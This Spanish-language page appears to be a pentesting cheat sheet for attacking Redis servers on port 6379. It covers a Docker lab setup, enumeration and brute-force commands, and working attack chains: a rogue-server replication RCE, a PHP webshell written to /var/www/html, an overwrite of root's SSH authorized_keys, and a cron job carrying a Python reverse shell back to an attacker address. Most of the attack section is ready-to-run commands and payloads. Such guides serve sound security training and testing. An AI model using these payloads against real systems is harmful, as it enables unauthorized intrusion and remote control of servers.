Redis - 6379/tcp
Redis (Remote Dictionary Server) es un almacén de estructura de datos de clave-valor en memoria rápido y de código abierto.
Es utilizado por millones de desarrolladores como base de datos, caché, motor de streaming y agente de mensajes.
Laboratorio
Para poder realizar pruebas contra un entorno de redis de forma fácil, se puede utilizar un contenedor de docker:
sudo docker run -d --name redis -p 6379:6379 redis
La herramienta que utilizaremos para conectarnos "redis-cli" se encuentra en el paquete de "redis-tools":
sudo apt install redis-tools -y
Conexión al redis:
redis-cli -h 127.0.0.1
Conexión al contenedor de docker:
sudo docker exec -it redis sh
Para la explotación de múltiples vulnerabilidades, es necesario que existan varios elementos comunes en entorno de producción. Para ello, dentro del contenedor se ejecutarán los siguientes comandos:
mkdir -p /root/.ssh
Enumeración
Se puede comprobar de diferentes formas si un servidor cuenta con el puerto 6379 abierto y si en este está siendo ejecutado el servicio de Redis.
Nmap:
IP=192.168.1.222
sudo nmap --script=redis-info -sV -p 6379 $IP
Telnet:
IP=192.168.1.222
telnet $IP 6379
Netcat:
IP=192.168.1.222
nc -vn $IP 6379
Redis-cli:
IP=192.168.1.222
redis-cli -h $IP -p 6379
Metasploit:
use auxiliary/scanner/redis/redis_server
set RHOSTS 192.168.1.222
Si el servidor no cuenta con autenticación, se podrán ejecutar múltiples comandos con el objetivo de enumerar información del servidor, e incluso, llegar a obtener ejecución de código en el servidor.
Conexión
IP=192.168.1.222
PORT=6379
PASS=<contraseña>
redis-cli -h $IP -p $PORT
redis-cli -h $IP -p $PORT -a $PASS
Autenticación
Por defecto, Redis no cuenta con autenticación, esta puede (y debe) ser establecida posteriormente, bien con autenticación:
usuario+contraseña.
Solo contraseña. En el este caso, el usuario por defecto será
default
.
Para autenticarse en redis, se puede utilizar el siguiente comando:
AUTH <usuario> <contraseña>
Comandos de redis
Algunos comandos comunes para enumerar información del servidor:
INFO
client list
CONFIG GET *
Crear una clave-valor y obtener el valor de una clave:
keys *
set <nombre de la clave> <valor de la clave>
get <nombre de la clave>
type <nombre de la clave>
Para una mejor comprensión de los comandos, será mejor consultar la documentación:
Rutas interesantes
/var/www/html
/home/redis/.ssh
/root/.ssh
/var/lib/redis/.ssh
/var/spool/cron/crontabs
/var/spool/cron
Ataques sin autenticación
Para conseguir ejecución de código remoto en un servidor redis, primero se deberá conseguir acceso al servicio.
Conexión directa
Bien porque no cuenta con credenciales, o porque se han obtenido credenciales por otros medios.
Más info aquí -> [Aquí]
Fuerza bruta
nmap:
sudo nmap --script redis-brute -p 6379 $IP
metasploit:
use auxiliary/scanner/redis/redis_login
set RHOSTS <IP>
info
Muestra los información y datos del servidor.
select <n>
Selecciona una base de datos que utilizar. Por defecto, Redis tiene 16 bases de datos disponibles (0 - 15), siendo 0 la utilizada normalmente.
keys <pattern>
Muestra todas las claves que coincidan con la expresión regular indicada.
type <clave>
Muestra el tipo del valor almacenado en la clave.
get <clave>
Muestra la clave
hgetall <clave>
Muestra todos los pares campo/valor almacenados en la clave hash.
hget <campo> <valor>
Obtener el valor del campo especificado en la clave hash.
Ataques con autenticación
Redis (<=5.X) RCE
Para ello, se pueden utilizar las herramientas:
rogue-server: https://github.com/n0b0dyCN/redis-rogue-server
IP=<IP de redis>
ATIP=<IP del atacante>
python3 redis-rogue-server.py --rhost=$IP --rport=$PORT --lhost $ATPI
use exploit/linux/redis/redis_replication_cmd_exec
set RHOSTS <IP>
Webshell
Si el mismo servidor aloja una aplicación web, se podrá intentar subir una webshell.
Algunas rutas comunes son: Alojamiento de la aplicación web
config set dir /var/www/html/
config set dbfilename shell.php
set test "<?php echo system($_GET['cmd']); ?>"
save
Se pueden consultar otras opciones de webshells en: PHP
curl http://<IP del redis>/shell.php?cmd=whoami
SSH
Sobreescribe el fichero authorized_keys
Manual.
Automatizado.
Método 1 - Manual
Este método sobreescribe el fichero de authorized_keys, por lo que, no debería utilizarse en entornos de producción.
Se crea una clave privada y pública:
ssh-keygen -t rsa
Crear un fichero con la clave pública creada:
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > public_key.txt
Copiar la clave pública en el servidor de redis:
IP=<IP de redis>
cat public_key.txt | redis-cli -h $IP -x set ssh_key
Almacenar la clave pública en el fichero
authorized_keys
.
redis-cli -h 192.168.1.222 config set dir /root/.ssh
redis-cli -h 192.168.1.222 config set dbfilename "authorized_keys"
redis-cli -h 192.168.1.222 save
Acceder vía SSH con la clave privada:
ssh -i id_rsa [email protected]
Método 2 - Automatizado
Se puede realizar de forma automatizada con la herramienta:
Crontab
Primero, dejaremos el puerto de recepción a la escucha:
sudo rlwrap nc -lnvp 80
Este comando contiene un crontab que al ejecutarse devuelve una reverse shell con python. Habrá que modificar la IP y puerto de recepción (como siempre, preferiblemente los puertos 80 y 443):
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<IP atacante>\",<Puerto a la escucha>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
Añadir el comando anterior, previamente modificados y ejecutarlo para añadir el valor en la clave "1" que se creará en redis:
<comando anterior> | redis-cli -h $IP -x set 1
Se crea el fichero que, al llegar a ejecutarse, nos devolverá la shell:
redis-cli -h 192.168.1.222 config set dir /var/spool/cron/crontabs/
redis-cli -h 192.168.1.222 config set dbfilename root
redis-cli -h 192.168.1.222 save
Referencias
Última actualización
¿Te fue útil?